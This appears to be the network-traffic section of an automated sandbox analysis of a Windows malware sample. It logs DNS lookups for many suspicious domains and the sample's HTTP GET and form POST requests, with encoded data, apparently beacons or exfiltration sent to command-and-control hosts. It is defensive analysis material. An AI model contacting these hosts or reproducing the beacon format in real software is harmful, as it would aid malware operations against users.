Sep 23, 2024 14:40:07.474169970 CEST	53	57856	1.1.1.1	192.168.2.7
Sep 23, 2024 14:40:21.379895926 CEST	60435	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:40:21.455171108 CEST	53	60435	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 23, 2024 14:36:56.641244888 CEST	192.168.2.7	1.1.1.1	0x5ef5	Standard query (0)	www.kovallo.cloud	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:37:12.470391989 CEST	192.168.2.7	1.1.1.1	0x93c0	Standard query (0)	www.tempatmudisini01.click	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:37:26.783338070 CEST	192.168.2.7	1.1.1.1	0x80a0	Standard query (0)	www.zz82x.top	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:37:41.689815044 CEST	192.168.2.7	1.1.1.1	0xc9be	Standard query (0)	www.rtpngk.xyz	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:37:56.104762077 CEST	192.168.2.7	1.1.1.1	0xb338	Standard query (0)	www.bluegirls.blog	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:38:09.675859928 CEST	192.168.2.7	1.1.1.1	0x50e9	Standard query (0)	www.mistsui.top	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:38:23.298850060 CEST	192.168.2.7	1.1.1.1	0x10e0	Standard query (0)	www.solisbysobha.net	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:38:37.705790997 CEST	192.168.2.7	1.1.1.1	0xd17e	Standard query (0)	www.sppsuperplast.online	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:38:51.738074064 CEST	192.168.2.7	1.1.1.1	0x9bad	Standard query (0)	www.deefbank.net	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:05.376945972 CEST	192.168.2.7	1.1.1.1	0xbf6c	Standard query (0)	www.shopdj00.xyz	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:13.455873966 CEST	192.168.2.7	1.1.1.1	0xe5f1	Standard query (0)	www.donante-de-ovulos.biz	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:26.627523899 CEST	192.168.2.7	1.1.1.1	0xd855	Standard query (0)	www.chalet-tofane.net	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:40.096287012 CEST	192.168.2.7	1.1.1.1	0x503d	Standard query (0)	www.greekhause.org	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.408479929 CEST	192.168.2.7	1.1.1.1	0x47de	Standard query (0)	www.085bet.xyz	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:40:07.284688950 CEST	192.168.2.7	1.1.1.1	0x25f3	Standard query (0)	www.2024tengxun361.buzz	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:40:21.379895926 CEST	192.168.2.7	1.1.1.1	0x6a5f	Standard query (0)	www.bodegamayorista.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 23, 2024 14:36:56.728621006 CEST	1.1.1.1	192.168.2.7	0x5ef5	No error (0)	www.kovallo.cloud	kovallo.cloud		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:36:56.728621006 CEST	1.1.1.1	192.168.2.7	0x5ef5	No error (0)	kovallo.cloud		81.2.196.19	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:37:12.918181896 CEST	1.1.1.1	192.168.2.7	0x93c0	No error (0)	www.tempatmudisini01.click	tempatmudisini01.click		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:37:12.918181896 CEST	1.1.1.1	192.168.2.7	0x93c0	No error (0)	tempatmudisini01.click		103.21.221.4	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:37:27.218805075 CEST	1.1.1.1	192.168.2.7	0x80a0	No error (0)	www.zz82x.top	zz82x.top		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:37:27.218805075 CEST	1.1.1.1	192.168.2.7	0x80a0	No error (0)	zz82x.top		38.47.232.196	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:37:41.703398943 CEST	1.1.1.1	192.168.2.7	0xc9be	No error (0)	www.rtpngk.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:37:41.703398943 CEST	1.1.1.1	192.168.2.7	0xc9be	No error (0)	www.rtpngk.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:37:56.166085005 CEST	1.1.1.1	192.168.2.7	0xb338	No error (0)	www.bluegirls.blog	bluegirls.blog		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:37:56.166085005 CEST	1.1.1.1	192.168.2.7	0xb338	No error (0)	bluegirls.blog		195.110.124.133	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:38:09.966543913 CEST	1.1.1.1	192.168.2.7	0x50e9	No error (0)	www.mistsui.top		162.0.238.246	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:38:23.756104946 CEST	1.1.1.1	192.168.2.7	0x10e0	No error (0)	www.solisbysobha.net		198.50.252.64	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:38:37.821614027 CEST	1.1.1.1	192.168.2.7	0xd17e	No error (0)	www.sppsuperplast.online	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:38:37.821614027 CEST	1.1.1.1	192.168.2.7	0xd17e	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:38:37.821614027 CEST	1.1.1.1	192.168.2.7	0xd17e	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:38:51.916425943 CEST	1.1.1.1	192.168.2.7	0x9bad	No error (0)	www.deefbank.net	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:38:51.916425943 CEST	1.1.1.1	192.168.2.7	0x9bad	No error (0)	ghs.googlehosted.com		142.250.186.51	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:05.393835068 CEST	1.1.1.1	192.168.2.7	0xbf6c	Server failure (2)	www.shopdj00.xyz	none	none	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:13.524205923 CEST	1.1.1.1	192.168.2.7	0xe5f1	No error (0)	www.donante-de-ovulos.biz		199.59.243.227	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:26.677639008 CEST	1.1.1.1	192.168.2.7	0xd855	No error (0)	www.chalet-tofane.net	chalet-tofane.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:39:26.677639008 CEST	1.1.1.1	192.168.2.7	0xd855	No error (0)	chalet-tofane.net		62.149.128.40	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:40.122814894 CEST	1.1.1.1	192.168.2.7	0x503d	No error (0)	www.greekhause.org	greekhause.org		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:39:40.122814894 CEST	1.1.1.1	192.168.2.7	0x503d	No error (0)	greekhause.org		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:40.122814894 CEST	1.1.1.1	192.168.2.7	0x503d	No error (0)	greekhause.org		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	www.085bet.xyz	p-kc352zjcdn.abcty1.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	p-kc352zjcdn.abcty1.com	ef6f8e2a.abcty2.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	ef6f8e2a.abcty2.com	cluster580fc23f.abcty2.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		154.198.53.36	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		27.0.235.36	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		27.0.235.49	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		185.121.169.26	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		45.194.36.61	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		103.244.226.202	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		27.0.235.160	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		154.198.53.47	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		45.194.36.12	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:39:53.610970974 CEST	1.1.1.1	192.168.2.7	0x47de	No error (0)	cluster580fc23f.abcty2.com		27.0.235.55	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:40:07.474169970 CEST	1.1.1.1	192.168.2.7	0x25f3	No error (0)	www.2024tengxun361.buzz		154.38.114.205	A (IP address)	IN (0x0001)	false
Sep 23, 2024 14:40:21.455171108 CEST	1.1.1.1	192.168.2.7	0x6a5f	No error (0)	www.bodegamayorista.online	bodegamayorista.online		CNAME (Canonical name)	IN (0x0001)	false
Sep 23, 2024 14:40:21.455171108 CEST	1.1.1.1	192.168.2.7	0x6a5f	No error (0)	bodegamayorista.online		84.32.84.32	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.kovallo.cloud

www.tempatmudisini01.click

www.zz82x.top

www.rtpngk.xyz

www.bluegirls.blog

www.mistsui.top

www.solisbysobha.net

www.sppsuperplast.online

www.deefbank.net

www.donante-de-ovulos.biz

www.chalet-tofane.net

www.greekhause.org

www.085bet.xyz

www.2024tengxun361.buzz

www.bodegamayorista.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	81.2.196.19	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:36:56.753988028 CEST	478	OUT	GET /ye3m/?mtJD_=fvdlJ2L&76=BO45+0u1emCE8p481TGhlGJRfjijEniKMfSBNkuCyA4PSNUX9OtmTTSsRjXRpS6xcva9ZoEmbKYu7sV13UJQ2VHV0V6wg3gLfDQvPBhIAhk7jspRbUMiRCt8g415t+g4yzmjfyP2O5kn HTTP/1.1 Host: www.kovallo.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:36:57.419692039 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 23 Sep 2024 12:36:57 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	103.21.221.4	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:12.936741114 CEST	770	OUT	POST /phdl/ HTTP/1.1 Host: www.tempatmudisini01.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.tempatmudisini01.click Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.tempatmudisini01.click/phdl/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 63 59 30 74 50 74 6e 51 4a 2b 2f 32 5a 62 4b 45 36 59 49 32 62 46 4b 38 55 44 69 68 53 69 38 38 37 4b 6e 71 63 59 2f 77 63 36 78 67 73 48 38 36 6e 6e 67 77 30 77 6e 30 77 6c 7a 58 6d 32 39 44 71 42 42 55 75 66 57 43 78 75 6e 43 2f 34 6f 73 45 4c 4f 57 67 64 51 53 34 47 59 65 79 67 30 58 49 6a 41 4c 34 71 72 6f 67 75 4b 52 50 55 4c 64 73 57 6b 66 41 38 36 30 72 59 32 54 73 43 71 67 2b 65 32 36 53 61 62 4a 43 2f 6e 52 45 4a 32 39 32 33 67 30 76 6a 55 37 68 59 6e 6a 50 30 33 59 56 6a 6d 2b 63 71 42 38 6f 53 48 62 68 70 30 77 4d 72 55 6b 79 68 77 4f 49 58 74 46 64 75 43 6e 2f 6d 79 78 38 71 68 7a 64 67 69 66 50 55 4e 4e 41 67 3d 3d Data Ascii: 76=cY0tPtnQJ+/2ZbKE6YI2bFK8UDihSi887KnqcY/wc6xgsH86nngw0wn0wlzXm29DqBBUufWCxunC/4osELOWgdQS4GYeyg0XIjAL4qroguKRPULdsWkfA860rY2TsCqg+e26SabJC/nREJ2923g0vjU7hYnjP03YVjm+cqB8oSHbhp0wMrUkyhwOIXtFduCn/myx8qhzdgifPUNNAg==
Sep 23, 2024 14:37:14.218002081 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 894_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT content-type: text/html; charset=UTF-8 link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache cache-control: no-cache, no-store, must-revalidate, max-age=0 transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Mon, 23 Sep 2024 12:37:14 GMT server: LiteSpeed Data Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 [TRUNCATED] Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9!GnE="w}[h?8g;q@Y8? q@&M[8`}e;+B7K-yOv;%38TZB}Ax=ZitssmoeYdgu'PFi.:?4XWCN2>dg3M62/C/gl]CFR@JrCJ3O6:.$I9Zf"g>d@!gBw:T(<NjBWzF}6\+ `^f?T'I80Oq;1&cpk"nLa^qrz^>'<?vIz?'A8$RnW~^cRN}-abY-IxV_Yr*IRxqHym"5Q0/~tN\bd
Sep 23, 2024 14:37:14.218050957 CEST	1236	IN	Data Raw: 07 0c 7f 76 e2 80 bf 88 20 d0 3f 44 b1 46 04 91 a4 ae 8a e9 3a 4b 57 45 4a 91 6a 66 2a 02 bb 70 03 fa 5a 41 2d 98 86 66 ef 64 00 ab aa 72 5f c2 e3 35 61 f2 e4 fe ba f9 41 86 fa 18 87 64 ac 85 47 d2 2a 71 20 65 e0 7b 43 c7 98 92 87 be d9 cc eb 87 Data Ascii: v ?DF:KWEJjfpZA-fdr_5aAdGq e{CiC"o/Vb=8$M+,FDhitpv7zg,S^@ps\LyY"nIZvob{x>b9?=I8pcCnphZl36S
Sep 23, 2024 14:37:14.218090057 CEST	1236	IN	Data Raw: 03 67 54 c8 60 cc c5 34 3d ae f6 21 cb 93 70 31 0d 24 89 84 9c 4e a6 56 a4 3e 92 ed 68 b6 e0 69 6a 5b 66 4e a2 55 78 de b6 0a cf d4 d2 6a 85 5f 41 91 38 20 f4 fa 0d 4e d8 80 c7 1b 9c b0 e9 e0 84 4d b6 bb 9c 6c 6e 2f d4 00 66 f7 23 60 55 4c a5 5c Data Ascii: gT`4=!p1$NV>hij[fNUxj_A8 NMln/f#`UL\Dl$V,(q-.\Yr #g=fpm3TFrDH}4SOy1VZ~Y9+A%vW2H5QRhg\|,pr9kTb2;w:UQUQa~
Sep 23, 2024 14:37:14.218122959 CEST	672	IN	Data Raw: 25 57 2f b3 9a fc 88 a2 2b 8a 8e 69 a1 28 f2 f4 c1 23 b2 ac 3b 41 86 7a 24 a3 87 96 34 6b a5 5b 8d 83 99 0b 4f 1d 50 3c e4 7c 54 5e 52 74 73 c3 e4 37 b5 20 4b f0 98 a0 7d 08 2c 4e 55 7d 82 16 3c 37 71 31 36 09 a2 22 b5 b0 8e cb 6a f2 9f 63 61 cf Data Ascii: %W/+i(#;Az$4k[OP<\|T^Rts7 K},NU}<7q16"jcatHVKpwu',pk)MY&\|l4"*nEU+E/wQ4[~Mw!kE`RK`\sEYqC+S%(_Jbm\ a1Ht:<`i/g
Sep 23, 2024 14:37:14.218157053 CEST	1236	IN	Data Raw: 62 c6 1b 89 92 7b 27 dc a5 b1 06 73 67 30 8e 0b 31 87 ca 9c 4f 0f 87 55 0c b7 1f 86 17 9c af eb bd d8 82 3c 9e 28 75 87 7d c9 d3 bc 58 a4 f9 66 05 f9 c4 6b 84 7b 46 47 73 5e be e0 7c b5 17 f9 b7 42 be 43 7c 9d e6 ab 30 41 31 6d d8 52 6c d6 af 72 Data Ascii: b{'sg01OU<(u}Xfk{FGs^\|BC\|0A1mRlr\|DtANjo+{FL5!ky`\E(jV9Emt/29[s+&1n$BPNx*[KbiAvlKlcGhX{Bqoo#(
Sep 23, 2024 14:37:14.218189955 CEST	1236	IN	Data Raw: 2e 2d 14 be 36 28 bb db 18 57 16 8a 16 3b ed d4 ed 4c bd 56 dd fa 16 a3 ec 08 f1 39 4c ba cf 32 1b 6d ba 7d bf c4 e5 a1 75 17 43 51 55 54 88 8a 22 01 fe 23 9a 87 f6 82 5a d3 1a a9 10 8a 00 72 fe 23 12 3d 2b e7 e4 a1 c9 be 25 0d 27 bc a0 10 54 08 Data Ascii: .-6(W;LV9L2m}uCQUT"#Zr#=+%'TNoGSkr=rKRN]kM9+s5E9-h^[WTk jD6#b(6:+FR=9UT XjtYSD$e`33kVS_Bb
Sep 23, 2024 14:37:14.218224049 CEST	1236	IN	Data Raw: 2a 71 be 2c de 5c 64 9b 11 f8 39 bc 08 30 e4 34 8e 8f 67 2d a0 ee 16 73 5d de 14 16 5f 27 58 e2 14 ab 3a cb a3 c4 b6 41 ef 82 a4 5f 93 7b 23 24 18 eb 41 84 1b 34 b8 35 01 c2 fb 43 72 c0 20 65 1a c5 f9 8f e4 aa 1f 47 3c 84 e8 82 0f 8e b9 21 89 79 Data Ascii: q,\d904g-s]_'X:A_{#$A45Cr eG<!yd?L!.rdO$,rC^GnXDR/@)f#fY$+VRh"!^<oxJ1srI&mhq q$df"=YC7\"UJw$A4
Sep 23, 2024 14:37:14.218255997 CEST	1236	IN	Data Raw: 2b 32 f2 5f b9 72 82 6f e2 a0 73 47 e7 f0 d0 72 ee 49 6d c4 cd 98 f7 59 75 81 0e 11 49 6f be 39 62 2b da 28 b4 1e d2 e3 06 45 93 17 26 bc 5c 3b 4e 87 18 d7 1c fd 30 71 cb dc 9f 3a bc 38 6f ee a1 6d 0a a7 f8 b6 27 74 78 2c 30 80 b4 f3 37 d9 f6 87 Data Ascii: +2_rosGrImYuIo9b+(E&\;N0q:8om'tx,07OD36?7LP&p&yFqr,>S(tB@YWj,@N5USuUSh7j .tPI4*7%xEsB-\|k\h3
Sep 23, 2024 14:37:14.218290091 CEST	1236	IN	Data Raw: b0 f4 ab 37 da f0 4a 6a 0b e6 21 ff da c8 f0 f1 dd 9f e4 f5 b3 9b 95 f1 ee fd 2f 46 54 3e 8a e7 4e 39 5b 33 7b b4 df 3b df 18 ce 99 24 36 40 ea 56 85 5e c0 67 e3 9a 37 0e bd 07 0b 22 23 60 78 e5 b5 04 d9 54 64 b0 54 19 d1 50 6b d4 a5 95 4a d1 83 Data Ascii: 7Jj!/FT>N9[3{;$6@V^g7"#`xTdTPkJw]y^,R[^N9H7lA680*n`wcg!;nf9emXAvF3x3in`Mdm.dO0X?dCa\|/5X_;4BUHuKq8!T
Sep 23, 2024 14:37:14.218341112 CEST	1236	IN	Data Raw: 39 db a8 15 cb e9 8a cd 69 4e 73 ba 62 39 ac 58 41 d7 bf 4f 41 73 c8 e1 02 e6 74 c5 96 b0 62 6b 98 de 67 49 57 6c 05 8f f1 0a 72 9a ff 4b 76 77 99 15 e1 b8 f7 7b 8d 9d b4 a0 07 15 00 2e 82 f1 3b 24 64 34 1d bf 49 e7 db 92 60 bf d0 92 0e 05 4d 21 Data Ascii: 9iNsb9XAOAstbkgIWlrKvw{.;$d4I`M!I2FOF+G7=IQv`,jj4D'(9A!e`#x6N^tVOo-JCEUV+wiQPT[#G5VN5]EwPW=YVV0G#Xrp
Sep 23, 2024 14:37:14.222953081 CEST	256	IN	Data Raw: 75 c0 06 1e ad 84 4b db e3 41 6a 2d f5 01 4c 0b 32 b8 6f cc 22 ba ad d9 c4 8d 18 03 5d 3d 8c 3c c8 85 23 42 cf 7c 71 94 6a 35 18 84 3f 7f 34 8d 7c e1 af 0d dd 91 8c 64 8e a7 9b cd 3c fc f9 cb e3 ae 20 fa e6 ec 1f c1 68 04 d9 c2 83 8c 50 af 67 47 Data Ascii: uKAj-L2o"]=<#B\|qj5?4\|d< hPgGd`Q8Wg:8@3zJt&{~bTf"@K<Na:f) *+O?KlR8Ma$ ),g&C:G"i&8A[;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49705	103.21.221.4	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:37:15.490607023 CEST	790	OUT	POST /phdl/ HTTP/1.1 Host: www.tempatmudisini01.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.tempatmudisini01.click Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.tempatmudisini01.click/phdl/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 63 59 30 74 50 74 6e 51 4a 2b 2f 32 61 37 61 45 37 2f 6b 32 54 46 4b 6a 4e 44 69 68 64 43 38 34 37 4b 72 71 63 5a 37 67 66 4d 4a 67 73 69 34 36 32 54 4d 77 7a 77 6e 30 33 56 7a 57 73 57 39 4d 71 42 46 32 75 61 75 43 78 74 62 43 2f 36 67 73 45 34 32 5a 68 4e 51 51 68 57 5a 59 38 41 30 58 49 6a 41 4c 34 75 36 39 67 74 36 52 50 46 37 64 73 79 51 63 4e 63 37 47 73 59 32 54 6f 43 71 73 2b 65 32 59 53 5a 65 73 43 39 66 52 45 4a 47 39 33 69 4d 33 6c 6a 55 39 76 34 6d 72 44 47 4b 42 59 57 79 43 55 4d 46 6a 70 41 75 78 70 2f 70 53 57 4a 59 49 73 77 49 31 4d 56 4a 7a 4b 49 66 53 39 6e 32 70 78 49 56 53 43 58 48 31 43 47 73 4a 57 61 54 6c 49 2b 4c 4d 63 39 6b 38 53 59 6b 53 78 58 37 6b 51 4c 34 3d Data Ascii: 76=cY0tPtnQJ+/2a7aE7/k2TFKjNDihdC847KrqcZ7gfMJgsi462TMwzwn03VzWsW9MqBF2uauCxtbC/6gsE42ZhNQQhWZY8A0XIjAL4u69gt6RPF7dsyQcNc7GsY2ToCqs+e2YSZesC9fREJG93iM3ljU9v4mrDGKBYWyCUMFjpAuxp/pSWJYIswI1MVJzKIfS9n2pxIVSCXH1CGsJWaTlI+LMc9k8SYkSxX7kQL4=
Sep 23, 2024 14:37:16.852230072 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/7.4.33 x-litespeed-tag: 894_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT content-type: text/html; charset=UTF-8 link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache cache-control: no-cache, no-store, must-revalidate, max-age=0 transfer-encoding: chunked content-encoding: br vary: Accept-Encoding date: Mon, 23 Sep 2024 12:37:16 GMT server: LiteSpeed Data Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 